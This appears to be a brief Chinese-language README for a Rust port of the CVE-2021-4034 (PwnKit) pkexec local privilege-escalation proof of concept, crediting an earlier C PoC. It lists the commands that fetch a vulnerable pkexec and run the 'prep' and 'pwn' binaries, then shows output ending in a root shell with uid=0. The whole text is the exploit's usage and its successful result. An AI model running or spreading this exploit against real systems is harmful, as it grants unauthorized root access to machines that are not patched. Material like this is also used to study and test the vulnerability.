基于 https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
$ ./download-and-unpack-vulnerable-pkexec.sh
*可选：为测试启用 setuid/setgid*
$ cargo run --bin prep && cd playground && cargo run --bin pwn
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `target/debug/prep`
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `/home/defhacks/hack/cve-2021-4034/target/debug/pwn`
gconv() called
sh-5.1# /bin/id
uid=0(root) gid=1000(defhacks) groups=1000(defhacks)
sh-5.1#